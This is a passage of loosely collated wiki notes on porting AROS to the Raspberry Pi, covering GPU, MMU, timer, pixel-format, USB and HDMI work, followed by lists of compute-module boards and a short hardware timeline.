contains an addend, extra data which can be used to perform all the relocation calculations I need. Decided for the second option. The patch is already in the works. There is another function for the binutils' bfd backend to perform the final relocation. There can decide what to do with every reloc info, modify data and eventually strip some symbols. An advantage is - at this stage of the linking process have also full access to all local symbols so can change all relocations section relative and eventually strip all symbols from the files. GPU VCore developed by Alphamosaic Ltd and now owned by Broadcom. Most of start.elf runs on the GPU. Placing ALL the userland GPU code in the videocore.hidd isn't going to be a terribly big problem because the code they published is nothing more than a shim that sends data straight to the GPU to execute. The good news about this is that we only need to write our HIDD using the OpenVG API. The shim is relatively small codewise and lives in the ARM memory (the actual OpenVG code itself lives in the GPU RAM area and its loaded from start.elf). That's also the bad news. Our driver has to translate AROS video calls to OpenVG calls, for most tasks it should be easy, for some, not so much. It's still probably less difficult and less work, than controlling the GPU directly. The other good news is that anything done through OpenVG happens on the GPU, its truly accelerated. It also has some nice font functions, meaning we can lead into an accelerated text mode later. Basically, AROS resets or locks up when it tries to use AROS_ATOMIC_INC or DEC. If I comment out the byte/word operations in the header files and use non-atomic operations, the code works as expected. have read that the L1 cache needs to be enabled to use LDREX and co (which I also read is only meant to be used on multi processor systems with shared memory) - however I am certain this is correctly enabled. If you are using LREX or STREX, you should have L1 cache enabled, at least on the ARM CPU I work with at work. L1 cache is enabled by enabling the MMU *AND* setting the C and I bits in the CPU - the C bit is ignored, and the I bit only covers the 16 byte instruction pipeline if the MMU is not enabled. Can you verify that your assembly is generating LDREX/STREX? From the behavior, it almost sounds like its generating the default Semaphore locked atomics. Impossible. There are no semaphore-locked atomics. There are Disable()/Enable()-based ones instead. And there's a special #define AROS_NO_ATOMIC_OPERATIONS in this case, which tweaks Disable()/Enable() implementations not to recurse forever. I have tested this on ARMv5 which does not have ldrex/strex, it works fine. On those ARMs there's no way to have real atomics. On other OSes (like Linux) this is done by introducing things like atomic_t, which appears to be a complex structure, holding the value together with accompanying spinlock (implemented using swp). #warning "TODO: lookup optimal mmu table settings for raspi memory" /* Set up an identity-mapping for all 4GB */ for(x = 0; x < 4096; x ++) { pagetable[x] = x<<20 | (0x40002|0x80000|0x010000|0x00C00|0x04); } Shouldn't there be a second loop that sets the 'C' bit in the descriptor for the RAM pages? Currently, you have TEX=0, C=0, B=1 for all pages (Shared Device). You should have TEX=0, C=1, B=0 for RAM (Write-Through, Cached) So .. pagetable[x] = x<<20 | 2; should be enough? No, for RAM you need to change the '| 0x40' to '| 0x80' tell dosboot the correct defaults to use Please don't do this. This bootconfig.c is a deprecated legacy thing. I wanted it to go away completely with time. Instead, display drivers should auto-install themselves during own initialization phase. I. e. detect hardware=>instantiate itself. This should make things way simpler. With this approach you only need to add the driver into KS image to get the device autobooted. No hardcoded stuff. Currently VESA and VGA drivers do this, look there for examples. never rewrote ATI driver because i don't have any test system for it. they defined a smaller AROSCPUContext than the ExceptionContext - yet reference it as ExceptionContext in other places, and since it hasn't allocated enough storage for ExceptionContext, are corrupting memory/the structure (since the elements that are there don't map 1 to 1 with the exception context). AFAIK, AROS has been moving in a different direction to this in recent years. It is the job of graphics HIDDs to allocate bitmaps etc. so that they have the most suitable characteristics, including allocating them from GPU RAM where possible. The concept of chip RAM is only for legacy code, and most if not all non-68k platforms should have all system RAM marked as chip. BTW, is the video processing code you mention CPU code or GPU code? Also, IIRC we have support for "external memory allocators". Perhaps that's what we need for the allocation of GPU RAM through the mailbox. All hosted and x86 native ports should use proper context formats. trying to clarify if the vblank handler has to have run by this point to prevent this deadlock. Actually, no. Unless you have installed VBlank handler which should wake up at some point. Without VBlank there will be no quantum count. Consequently, there will be no forced preemption. But the rest will work, and multitasking will be cooperative (switch happens only when current task voluntarily gives up the CPU). Does it depend on the vblank having run before this point? and if yes what does that mean on systems where it might be able to run enough code (e.g. get to this point) before the vblank interrupt has triggered? What is it waiting for? It could wait for timer, in this case you need timer.device working. VBlank is currently needed for exec's quantum counter. In current native ports we have only a single timer, which is served by timer.device. VBlank is simulated by timer.device also. If your machine has two timers, then you can use one of them for VBlank, and another for timer.device, this will simplify things down. VBlank needs to be 50 Hz for historical reasons, many programs use it as cheap timer. I am periodically thinking about making some abstract mechanism to be able to change quantum source (and untie it from 50 Hz), but have no time to come up with something good. Additionally i started disliking timer.device hardcoded design when PC has got many timers (old 8253, APIC, HPET). Currently i think there should be some low-level entity representing tick source. timer.device should just select the most appropriate source for its units. The BCM2835 has 4 GPU based timer sources - 2 are used by the GPU, so im using Timer3 for our heartbeat and the remaining one will be free to the system. There is also the less capable ARM timer but that is dependent on the CPU frequency. Very good. You won't need any emulation. Set the heartbeat to 50 Hz and drive VBlank from it. Use other timer for MicroHZ. Can you use the 'econsole.hook' I make for debugging the Sam460 via the serial port? It provides a before-anything-else shell prompt on the serial port. You can then do 'NewCLI' to test your graphics, or use any DOS command in shellcommands.resource. You should just be able to add econsole.hook to your module list, and use 'econsole' in your bootargs. So long as you have a working Exec/RawMayGetChar and Exec/RawPutChar, it should work. Also make sure to add shell.resource and shellcommands.resource for this. That should have done it. If you set "#define DEBUG 1" in arch/all-native/econsole/econsole.c, do you get any additional serial output? have added it to the build and added econsole to the command line - and can see the bootloader picks up on the emergency bootconsole tag, but I still only get the insert bootable media display? Im assuming it exposes a fake filesystem that tricks aros into booting? The contents of which are: ECON:AROS.boot Way to handle the scheduling code? The implementations I had been following were causing problems, due to cascading interrupts which I cant handle properly in the asm stubs just now (when they break disable etc.) - since it means detecting the interrupted codes cpu mode and getting the correct sp/lr for it, and that's just too tedious for arm. To work around this ive added a system idle task which does nothing - and when the scheduling code has no task to run switches this in and lets it run, thereby allowing the interrupts etc to resume until something does need to happen. Also, by adding accounting code to cpu_Switch() and cpu_Dispatch(), it should allow the system to log idle time correctly (as well as running tasks). have thought of also adding an additional task that never runs, solely to record time spent in IRQ handlers, but I digress.. was under the impression that kernel.resource should *never* be used outside of exec.library. This is a wrong impression. Michal started designing it because portable nature of AROS does not fit well into exec's API with all its assumptions. So, he started the new, hardware-agnostic kernel API from scratch. Yes, exec sits on top of it in places. But kernel always meant to be open thing. Otherwise it would not exist. it wasn't meant to be just used willy nilly by user code - but by lower system components (e.g. exec) so that they could be implemented in a more generic fashion, and the kernel resource itself hide the systems quirks. Adding new things there perfectly keeps up with our decision to minimize AROS-specific intervention into APIs which can clash with MorphOS or Amiga OS4 extensions. We want at least source-level compatibility there. Binary compatibility on PPC would be extremely cool, but at the other hand we have no maintainer for this, as well as their ABIs splintering. It depends on what exactly is being implemented - there's no reason we should have everything crammed into kernel.resource if it doesn't need to be (i.e. if its better suited as a separate component/subsystem in its own right) The _LE versions are for when you have endian swapping taking place. If the graphics are the same endian as the CPU, no swapping should occur. I ran into a similar terminology problem in SDL with a friend insisting that his Radeon 7000 on his PC was big-endian. It is not, it just uses the same endianness for the graphics card and the CPU so no swapping was necessary. They were both little-endian. The _LE versions are because the PixFmts refer to the bitmap data being in big endian format in memory, for which the normal version would need to do endianness conversion before applying the shifts/masks. on this platform it is in _LE in memory also so we don't need the conversion hence using the _LE version of the call). would use _LE (if it's really little endian 16 bit mode). What is the bare minimum needed to implement a framebuffer based gfx driver, with our software handling the rest? Have tried with just a gfx class that only expose new/dispose/newbitmap - and having an onscreenbitmap used only for the framebuffer itself (with all other bitmaps being chunkybm, and the framebuffer's superclass also being chunkybm), but that alone isn't enough it seems? You can use workbench/hidds/sm502/ as your example - it is as simple as I could make it. So, AROS creates the framebuffer bitmap (verified this) -> so surely it should be capable of then rendeing into it? I don't actually create the framebuffer "bitmap object" myself - only as a result of being asked to. The code I currently have on SVN seems to create the framebuffers bitmap object fine, but then crashes in intuitions DisplayDriver callback. In particular it crashes performing the getattr on the system default pointer. don't expose MEMF_CHIP in an allocatable form so AllocSpriteData was failing (and other code later doesn't check if the values are valid == illegal memory accesses) So far have -: vc_init: queries the gpus memory, and sets up a fake memory handler for it, then adds the bootmode driver and returns saying all is well vc_gfxhidd:New: sets up some fake syncmodes to test with and creates the real gfx object. vc_gfxhidd:NewBitmap: checks if its a framebuffer and uses the onbitmap class or uses the chunkybm class otherwise vc_onbitmap:New; creates a chunkybm object and then pushes the real framebuffer address into it as the buffer, vc4 had v8adds, v8subs, v8muld, v8min and v8max which operated on four 8bit uint values packed into a 32bit register. Multiplication was in the range 0.0 to 1.0 and addition/subtraction saturated. There were also a range unpacking/packing modes that allowed you to pack and unpack 8bit values into 32bit registers. RasPi has to speak to the "operating system" which runs on the GPU itself and request/free memory - it cant directly manage it itself, and so the managed functions were used to wrap these calls. The Arm and GPU share memory space. The framebuffer is shared. The Arm can write a pixel and it will appear on the screen (through GPU hardware) without flushing/copying being required. The GPU can composite multiple FB's in real time - so you have a number of surfaces defined which are rotated etc and composited in real time to the output. Copying can map from the address space of the Arm to the flat space of the GPU which takes some code, but I don't think whole buffers are copied. The DMA hardware can also access the whole memory space and can perform 2D fills and blits (no blending). This is documented in the peripheral spec posted. The DMA is just an Arm accessible peripheral and can be set up with low latency (e.g. microseconds). must use a 0xc0000000-based bus address to access SDRAM, yet non-DMA access should go via a 0x0-based bus address. For 2D dma, set TDMODE, and the spec says "interpret the TXFR_LEN register as YLENGTH number of transfers each of XLENGTH, and add the strides to the address after each transfer." so set STRIDE to pitch of the image, the width is XLENGTH and height is YLENGTH. You would fill by not setting the SRC_INC and point source to your fill data. The DMA cannot see the ARM's L1 cache, so you would map the framebuffer with ioremap_nocache. Depending on where the source data comes from, it may need an L1 cache flush. The DMA can see the L2 cache. Use 0xC0000000 bus addresses when L2 is disabled and 0x40000000 bus addresses when L2 is enabled. (actually just call virt_to_bus and you'll get the right address out). openGLES/openVG has high latency. Writing to framebuffer then reading it back is very inefficient (e.g. milliseconds). If you can drive it a unidirectional way, just streaming commands at then that is efficient. openVG is not implemented on top of openGLES - it uses the same hardware but as a first class interface To improve the Gfx driver, we will need a DMA resource implemented so can use to perform DMA operations. The Gfx driver will need this to perform blits. Actually MEMF_CHIP has to present, for historical reasons. This has been never fully agreed upon, but in ports i wrote i exposed the whole memory as MEMF_CHIP. The idea behind this is that CHIP is originally the memory where graphics and sound data can be put. On non-Amiga platforms there are no restrictions on this, so the whole memory is CHIP. Yes, many old software can misbehave with CHIP memory size larger than 2MB. But this actually applies only to m68k AROS which is going to run m68k binaries. In other cases it's quite logical to fix the program when porting. As to original question: yes, it's enough to have a framebuffer bitmap (one with aoHidd_BitMap_FrameBuffer set to TRUE) and PutPixel routine. It framebuffer can be served by chunky bitmap class, then you can simply create chunky bitmap with your own buffer (see how VESA driver does this). Chunky PutPixel is already there. struggling to determine what is the correct pixfmt to use for the 24/16/15 bit gfx modes on the RasPi. AFAIK it uses RGB565, for 16bit but im unsure what shifts etc should go with it? suffice to say Im getting the wrong colors so far lol. <pre> redmask: 0x0000F800 greenmask: 0x000007E0 bluemask: 0x0000001F alphamask: 0 redshift: 16 greenshift: 21 blueshift: 27 alphashift: 0 </pre> It should likely be vHidd_StdPixFmt_RGB16_LE This stuff is a bit confusing. The "names" of the stdpixfmts are based on the layout in memory, ignoring endianess. So for example: ARGB32: will be 0xAA 0xRR 0xGG 0xBB in memory on both big endian and little endian machines. The shifts and masks OTOH are based on pixel access (ULONG in this case), so differ depending on whether you run on big endian machine or little endian machine (that's why there's stdpixfmt_le.h and stdpixfmt_be.h in rom/hidds/graphics/). With the 16 bit pixel format it's even more confusing, as for example it's impossible on little endian machine to describe RGB16 with shifts/masks alone. That's why there's vHidd_PixFmt_SwapPixelBytes_Flag. (RGB16 == RRRRRGGG GGGBBBBB in memory, and for pixel (WORD) access on little endian machine it needs to be accessed as GGGBBBBBRRRRRGGGG). The shifts btw indicate how much to shift the component to the left (!) so that it is moved to the highest bit (31). The aHidd_PixFmt_StdPixFmt you specify will be ignored most of the time, because when the pixelfmt is registered, the gfx hidd checks if there's an identical pixfmt (shifts/masks/etc., but ignoring pixfmt->stdpixfmt) already in the system, and if so, it uses the already existing one and does not create a new one. In theory it would be better if gfx drivers could simply/only specify a StdPixFmt without all the shifts/masks stuff when the gfx driver uses pixfmt which matches one of the stdpixfmts exactly. Another possibility would be for gfx drivers to use HIDD_Gfx_GetPIxFmt(stdpixfmt_gfx_driver_wants_to_use) and then peek shifts/masks from it and fill out a pixfmt tag list based on that. 15bit very blue/green: Try to pass same shifts/masks/etc. as in 16 bit pixfmt (maybe you think it's using 15 bit R5G5B5 (or swapped) but it's actually still using 16 bit R5G6B5 (or swapped). aHidd_PixFmt_StdPixFmt you pass is mostly ignored. It's the shift/masks/etc. that count. But I would still pass the correct one (_LE) == whatever rom/hidds/graphics/stdpixfmts_??.h uses in the entry where you have looked up shifts/masks/etc. Use the shifts/masks/etc. from the entry in stdpixfmt_le.h (if you are running on little endian machine) or stdpixfmt_be.h (if you are running on little endian machine) that matches the pixfmt that its meant to be. 0xAA,0xRR,0xGG,0xBB on little endian (->entry in stdpixfmt_le.h which says vHidd_StdPixFmt_ARGB32) 0xBB,0xGG,0xRR,0xAA on little endian (->entry in stdpixfmt_le.h which says vHidd_StdPixFmt_BGRA32) 0xAA,0xRR,0xGG,0xBB on big endian (->entry in stdpixfmt_be.h which says vHidd_StdPixFmt_ARGB32) 0xBB,0xGG,0xRR,0xAA on big endian (->entry in stdpixfmt_be.h which says vHidd_StdPixFmt_BGRA32) it feels like AROS trashes the alpha component, otherwise it should be 8A8R8G8B. read on the subject suggest its in 1x5r5g5b (x is ignored) to keep 16bit alignment . Suggests to me that wrong shift/mask are being applied - however going by the 16bit versions it all looks correct to me so I am really confused as to what is happening. The output image looks to have too much green/blue, and very weak red. Kickstart The idea is to minimize amount of archirecture-specific modules to make the user's life easier. So, the kickstart was split into 'base' (which does not contain anything machine-specific) and 'BSP' (Board Support Package) which contains all hardware-specific stuff. This way, for example, distribution makers can save up space on CD and make CDs with multiple platform support. Different configuration would load the same base with different BSP's. Next there was some part which is entirely missing on hosted. These are filesystems. Hosted ports do not need them to boot up, so on hosted they are left out. At the other hand, they are also architecture-agnostic. So i put them into 'FS' package (standing for 'filesystem'). USB Poseidon is one more big part. I made it into separate package in order to allow users to omit it if they don't need it (for example, to run on retro PCs without USB). Personally i have one. Again, Poseidon is hardware-agnostic (well, there are USB drivers but HCIs are pretty standard). AFAIK its HCI 1.0 compliant but not familiar enough with poseidons drivers, nor USB, to just hack away at the existing code. Perhaps once i'm more familiar with the workings I can merge in the changes needed to get it operating but for now I will focus on getting it running. Also our drivers have known issues so perhaps a fresh set of eyes might shed some light on what is going wrong. Another interesting question is whether Poseidon can operate on device side. Is it flexible enough? How similar is being a USB host and USB device? think it will need a bit of work on Poseidon's side. Until then I will force the driver into Host/Master mode in the init code, but leave open device etc to configure the chipset for either's use - and look at trying to add support for working in Device/Slave mode & switching modes once it's up and running. Actually USBROMStartup is some kind of kludge. Can there be any alternative? Could device drivers be self-installing, like our HIDDs? This would get rid of need to list them in USBRomStartup. * Model A and B limited to 150 mA per port. * Model B+ and Pi 2 introduced configurable 600 mA to 1.2 A support over all ports - anything above that requires a powered USB hub. Implementing the hardware driver that Poseidon uses to interact with the USB components. Have code in place to (try) and initialise the USB chipset, and configure host/device mode operation (though AFAICT Poseidon doesn't support device mode). Started to get the "virtual" root hub written for the single USB port so that Poseidon should at least list it correctly in the GUI - and try to interact with it to find peripherals. The BCM2835 uses a soft IP block from Synopsys’ DesignWare library (DWC), specifically the block is called dwc_usb_2_0_hs_otg_subsystem-ahb_se (“USB 2.0 Hi-Speed OTG Controller Subsystem w/AHB Interface SE”). There is no public documentation for this, and pretty much zero chance of anyone getting hold of it even with NDA. However, there's a Linux driver written by Synopsys ([https://github.com/raspberrypi/linux dwc_usb]). Specifically directories [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_common_port] and [https://github.com/raspberrypi/linux/tree/rpi-patches/drivers/usb/host dwc_otg]. The Synopsys code is actually under a fairly permissive licence – it's not GPL, it's similar to BSD (’don't sue us if it breaks’ is pretty much the only clause). So this should not be a barrier to porting the code. The code is really well written, with a nice partition between the work done by the driver (dwc_otg, which is fairly involved, given the host does more work than a conventional EHCI driver), and the interface to Linux (dwc_common_port). Probably only need provision of relevant changes to dwc_common_port. Other things to consider.... * Provision of necessary headers to get it to compile * Provision of necessary functions (main issues are wait queues, threads, work queues, tasklets, timers, spinlocks and mutexes (multithreading) ) * Interfacing between USB stack and the driver. dwc_otg/dwc_otg_hcd_linux.c looks like the place to start. the Linux bits of the headers are only required for the dwc_common_port library. dwc_common_port includes a variety of crypto functions which are not used – it appears to also be used for ultrawideband (UWB) and wireless USB (WUSB) drivers where crypto will be an issue, but it isn't going to be for plain wired USB. Every USB driver acts as an USB hub as well in order to let Poseidon control the state of USB ports. The code there was reading status of the only USB port in Raspberry's CPU but when changing the status it erroneously deleted some of the status bits, including the port enable one. It was so because those bits in the status register are of a type Read/WriteToClear. It means, if one does not want to change their value from 1 back to 0, one has to actually write the 0 value. Very practical thing e.g. in interrupt handlers, where one reads the interrupt status register to learn what was the interrupt reason, and writes it back to the same register in order to clear the interrupts. After fixing that code it turned out that the communication was still unsuccessful. Apparently the USB device was not understanding the host for some reason. That should not happen since the request sent was one of the standard ones implemented by virtually anything with an USB connector, assumed that Poseidon clears the data caches before forwarding the work to the USB drivers but that's the responsibility of the driver itself. The USB device responded and acknowledged the transmission! But why were all the request sent after address change failing with timeout? They should not. Once again, address set is supported just by anything. Tried to contact the device at address 0 once again and there it was, still responding properly. The enlightenment came. The bus address for DMA transmissions was, as it is in many bare metal USB implementations, just the pure memory address of the buffer as seen by the ARM cpu. Have "prefixed" it with the real location of uncached RAM and booted AROS once again. Trident saw this: Product : Hub: Vdr=0424/PID=9514 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 9 SubClass : 0 DevProto : 2 VendorID : 1060 ProductID : 38164 DevVers : 0200 and this: Product : Vendor: Vdr=0424/PID=EC00 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 255 SubClass : 0 DevProto : 1 VendorID : 1060 ProductID : 60416 DevVers : 0200 and even this: Product : Hub: Vdr=0424/PID=9514 Manufacturer: Standard Microsystems Corp. SerialNumber: n/a /Users/michal/git/AROS/rom/USB/poseidon/./poseidon.library.c:psd_20_psdEnumerateDevice/3092: USBVersion: 0200 Class : 9 SubClass : 0 DevProto : 2 VendorID : 1060 ProductID : 38164 DevVers : 0200 What are these things? The first one is USB hub built in the Raspberry. Thanks to this one the Pi machines (with exception of Pi0 and computing modules) have more than just one single USB port. The second one is the network chip in raspberry, the third one is my USB SD card reader which have just connected to see what happens. AROS tried, of course, to boot from it ;) So, the first step towards working USB is done. The control transfers are working as you can see above. Next step is to implement bulk and interrupt transfers, having the basics in place. Finally some error handling will be added and USB for Pi will be as complete as the PC version. [http://www.raspyfi.com/raspberry-pi-usb-audio-fix/ Issue with USB Audio] Audio [https://github.com/raspberrypi/linux/tree/rpi-patches/sound/arm audio] and its [https://github.com/raspberrypi/firmware/issues/2 very high speed message passing interface type of thing VCHI] The Model B+ added an additional voltage regulator for the audio output and an additional output driver to drive low-resistance loads like headphones. However it is still using pulse-width modulation (PWM), which has a major impact on sound quality the old Raspberry Pi used a linear voltage regulator to provide the 3.3V to many of the components on the board while the new one uses a switching regulator. Both can perform reasonably well. However switch mode power supplies often show higher noise figures Analogue audio Audio over HDMI rev 1.3 & 1.4 Ethernet 10/100 BaseT Ethernet RJ45 socket GPIO GPIO shouldn't be too bad but bear in mind it is already accessed in places so they would need to allocate pins etc through it (e.g. sdcard to flicker the activity light, serial debug to output data on the GPIO pins) Probably a resource rather than a device... Started an i2c driver that will need to allocate GPIO pins. Feel free to work on it if you are interested ;p GPU graphics with 2D and 3D acceleration Sadly none yet for 32bit but for 64bit... Miscellanous hdmi issues Setting the hdmi_force_hotplug=1 makes sure the Pi believes the monitor/TV is really there. You might also need to set config_hdmi_boost=4 or even higher (up to 9) if your display needs a stronger signal. If the display is a computer monitor or newer tv, use hdmi_group=1 (auto HDMI use) and if it is an older TV, try hdmi_group=2 (for DMT formats, i.e. for PC monitors) then you HAVE to "set hdmi_drive = 2 to enable HDMI output as this forces HDMI mode rather than DVI mode Do not set hdmi_safe=1 as that overrides many of the previous options. Using a shorter or better quality HDMI cable might help. Make sure your Pi's power supply delivers 1 A and not 500 mA. If you see a problem with the red colour - either absent, or interference - then try a boost composite video changing the RCA cable, then the composite port worked out of the box Boot it as you are doing, without HDMI. If you now plug in the HDMI, do you get the image? In other words, does the Pi think HDMI is connected even when it isn't? Rename all the files in the first partion of the card except bootcode.bin, start.elf and fixup.dat What's the result? Put back config.txt What's the result? for PAL mode sdtv_mode=2 dmi_ignore_hotplug Pretends HDMI hotplug signal is not asserted so it appears a HDMI display is not attached hdmi_ignore_hotplug=1 Use composite mode even if HDMI monitor is detected <pre> # NOOBS Auto-generated Settings: #hdmi_force_hotplug=1 #config_hdmi_boost=4 #overscan_left=24 #overscan_right=24 #overscan_top=16 #overscan_bottom=16 #disable_overscan=0 start_x=1 gpu_mem=128 </pre> tvservice -c "PAL 4:3" <pre> /opt/vc/bin/tvservice -s or tvservice -s state: HPD high|HDMI mode|HDCP off|composite off (0x12001a), 1920x1080 @ 60 Hz, progressive /opt/vc/bin/tvservice -m CEA Group CEA has 1 modes: (native) mode 16: 1920x1080 @ 60 Hz, progressive /opt/vc/bin/tvservice -m DMT Group DMT has 0 modes: </pre> sudo amixer cset numid=3 1 forces the audio to the headphone jack, even with the HDMI video output plugged in config.txt the hdmi_ignore_edid_audio=1 option sems relevant as it should tell ALSA that the only available audio is analog, no matter what the display says There are several different ways that these 4 pole (ring) composite analog cables can be wired up, so some work great in some applications and can be a waste of time in others. What is needed for the Raspberry Pi B+ and above, which like many camcorders needs the ring contact next to the base contact to be the ground. The wiring for the 4 pole are: TIP (LEFT AUDIO CHANNEL) RING 1 (RIGHT AUDIO CHANNEL) RING 2 (GROUND/EARTH) RING 3 BASE/SLEEVE (VIDEO) YELLOW Most Apple based Players and the Microsoft Zune (TM) are wired this way. Most analogue camcorders are wired this way as well, where the ground in on Ring 2 will work with the Pi although you may need to swap your Video plug with the Right Audio plug. Nearly all other MP3 players are not wired this way, the ground is on another ring ie the wrong one. External devices * Camera Module Omnivision ov5647 Sunny 5MP (NoIR version) V1.3 - NoIR at 850&nbsp;nm, peak at 880&nbsp;nm and trails off at 940&nbsp;nm wavelengths * Camera V2 Sony IMX219 V2.1 8mpixel 8MP 8megapixel - 3280 x 2464 pixels - video at 1080p30, 720p60 and 640x480p90 - wider field of view, 62 vs 54 degrees horizontally - * Branded WIFI usb BCM43143 dongle N.B. dreaded error after changing cameras (stupidly without turning off the power first) and lasted through several power cycles. It can be a bad 15-pin FFC ribbon cable, when swapped, camera(s) and the Pi itself are working OK. It can be an instance of a cold solder joint on the CSI connector on the pi board. the camera can be detected (that's done via I2C) but may still not be able to receive image data (done via CSI-2) if something is broken. CSI-2 is uni-directional. Control is generally done via I2C. The CSI-2 receiver always writes to memory, not direct to the ISP. That's the way the Broadcom architecture works as it allows multipass processing easily. GPU memory is accessible from the ARM. Processing using the QPU graphics processors may be possible. currently the only supported sensor is OV5647 and IMX219. The linux drivers are all in the firmware blob, else you'd be looking at at least a man-month of work in a fully fledged imaging lab to do a decent tuning of the camera modules' ISP parameters. Static electricity maybe an issue for the camera module and slightly less for the pi board. == References == Testing procedure is put sd card in, connect board to board if necessary, plug in hdmi and then power nothing else is done especially CSI DSI etc [https://www.raspberrypi.com/documentation/computers/compute-module.html CM5] has the same 55mm x 40mm 2x100pin connectors form factor as the CM4 but [https://www.epdtonthenet.net/article/214508/Key-Considerations-When-Migrating-from-Raspberry-Pi-CM4-to-CM5.aspx some pins and other small things] have changed. Will need the [https://raspipcb.com/tech-blog/raspberry-pi-cm4-vs-cm5-difference-in-booting-from-sd-card/ right IO board to suit] *Green [ Raspberry Pi Compute Module 5 IO Board REV2 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1967]] - untested *Green [ RPi Compute Module 5 IO board REV1 [https://pip.raspberrypi.com/categories/1097-raspberry-pi-compute-module-5-io-board SC1751]] - untested *Black SupTronics Geekbord X1500 CM5 IO Carrier Board - untested *Black DeskPi Super6C Cluster Mini-ITX Board - untested *[https://sipeed.com/nanocluster Sipeed NanoCluster] - untested up to 7 CM5 *Green BentoIO CMX0 - untested *Box EDATec ED-CLAWBOX - untested *Home Assistant Yellow - Kit with PoE with Raspberry Pi Compute Module 5 - untested *Blue [https://www.waveshare.com/wiki/CM5_PoE_BASE_A Waveshare CM5-PoE-BASE-A] - untested *Box Waveshare [ CM5-POE-BOX-A] - untested *Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-B Waveshare CM5-IO-BASE-B] - untested *Blue [https://www.waveshare.com/wiki/CM5-IO-BASE-A Waveshare CM5-IO-BASE-A] - untested *Blue Waveshare [https://www.waveshare.com/wiki/CM5-NANO-B CM5-NANO-B] - untested *[https://carboncomputers.us/products/pi-flux piFlux] *[https://carboncomputers.us/products/ Zitaotech Hackberry] CM5 lite only - *Portable [https://www.waveshare.com/pocketterm35.htm Waveshare PocketTerm35] with Pi4B or Pi5 - untested *Box [https://www.clockworkpi.com/uconsole ClockworkPi uConsole][https://www.youtube.com/watch?v=EtI_bAahbR8 CM4 into an adapter or CM3 into so-dimm - Cyberdeck] - untested *Green RPi [https://datasheets.raspberrypi.com/cm4io/CM4IO-KiCAD.zip Compute Module 4] [https://datasheets.raspberrypi.com/cm4io/cm4io-datasheet.pdf IO board] V1.4 [https://datasheets.raspberrypi.com/cm4io/CM4IOUSB3-KiCAD.zip USB3] [https://datasheets.raspberrypi.com/cm4io/cm4iousb3-appnote.pdf CM4ISO] [https://datasheets.raspberrypi.com/cm4/cm4-datasheet.pdf Dual100pin] (2020) aka Development Platform Board - untested *Purple Pi Hut Cytron CM4 Maker Board - untested *Black DeskPi Super6C Cluster Mini-ITX Board - untested *[ KubeSail PiBox mini 2] *Home Assistant Yellow with Raspberry Pi Compute Module 4 - untested *[ Turing Pi V2] - untested CM4 with 260-pin SO-DIMM socket adapters and/or nvidia jetson nanos - untested *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-C Waveshare CM4-IO-BASE-C] - untested but binary blobs Rev01 Rev02 *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-B Waveshare CM4-IO-BASE-B] - untested but binary blobs *Blue [https://www.waveshare.com/wiki/CM4-IO-BASE-A Waveshare CM4-IO-BASE-A] - untested but binary blobs *Blue [https://www.waveshare.com/wiki/CM4-NANO-B Waveshare CM4-NANO] - untested but usb and audio turned off or rerouted CM3 has a 200 pin sodimm ddr2 connector form factor but not electrically SC0028, SC0029 *Blue [https://wiki.geekworm.com/CM_IO_Board Geekworm RPi Compute Module IO Board] [https://github.com/geekworm-com/cm-io-board CSI DSI] with CM3 in ddr2 slot underside - '''works''' if SW1 on but CM3+ '''does not''' *Green [https://cdn-shop.adafruit.com/product-files/3442/CMIO_schematic.pdf RPi V3 IO board CM3IO] and CM3 Lite - untested *Green [https://turingpi.com/ turingpi v1 cluster] - untested up to 7 cm3 7xlan9514 12V discontinued, 3 x Pi4 homelab maybe better *Blue [https://www.waveshare.com/wiki/Compute_Module_PoE_Board Waveshare Compute Module PoE Board] and CM3 lite (if not lite, write files to internal eMMC fat32) '''AVOID''' bin blobs *Blue [https://www.waveshare.com/compute-module-io-board-plus.htm Waveshare Compute Module IO Board Plus] [https://www.waveshare.com/wiki/Compute_Module_IO_Board_Plus wiki] [https://forums.raspberrypi.com/viewtopic.php?t=235695 pin settings] with CM3+ Lite - '''AVOID''' binary blob *[ Pi02w on Geekworm SupTronics X305 Raspberry Pi Zero IO Baseboard] - untested *[ Spotpear Pi Zero 2w to Pi3b format-ish] - untested *[ pi-top v4] box has 128x64 oled display, micro hdmi, 19Whr battery with pi4 and 15V PD 36W min needed *[ pi-top v3] three green pieces, heatsink covers most of the base tray, pi-top hub mk1 lhs and Pi1B Pi2b Pi3b rhs secured from below, black rounded strip with pi-top above keyboard, 13.3" HD 1366 x 768 display, small touchpad, *[ pi-top Model 2.0] pi-top on bottom bezel of 14-inch green laptop, large trackpad, keyboard slide down to reveal main system hub on slide rails moved to the right, Raspberry Pi3b screws down, hub slides in, 18V 2.5A 45W charger brick, battery 11.1V 3500mAh 38.85Wh and storage PiTopOS *[ Pi-Top CEED Raspberry Pi Modular Educational Desktop with RPI3] monitor *[https://www.indiegogo.com/en/projects/jesselozano/pi-top-a-raspberry-pi-laptop-you-build-yourself Pi-Top v1] wedge laptop with RPi2 <pre> 2008 Trustees collected for Foundation 2009 Pi Foundation charity status gained 2010 2011 First Raspberry prototypes 2012 First boards go on sale at CPC and RS. The Model A and B 700 MHz Arm11 - February 29th BCM 2835 2012 First million sold - more than the 10,000 original planned and anticipated 2013 First Alpha Experimental builds of AROS Native for the 32bit Pi 2013 Pi Trading launched making grants available, providing in house educational resources and Pi Academy for teacher training 2013 Over two million sold 2014 Over three million sold 2014 Pi 1 Model B+ introduced that moved composite video to audio jack and same half gig of memory 2014 Pi Model A+ v1.1 no ethernet and 1 usb - a little smaller - 2015 Over four million first gen pis sold 2015 Pi Zero 1.2 BCM2835 first production revision released with no camera port 2016 Pi0 1.3 released with camera csi connector 2017 Pi Zero W v1.1 1GHz Pi0W, single-core 32bit CPU BCM2835 released with Cypress CYW43438 wireless 2020 Raspberry Pi Pico SC0919 with RP2040 32-bit 2Core ARM Cortex-M0+ up to 133 MHz - 264KB of SRAM and 2MB of on-board QSPI Flash - 2024 Raspberry Pi Pico 2 with RP2350 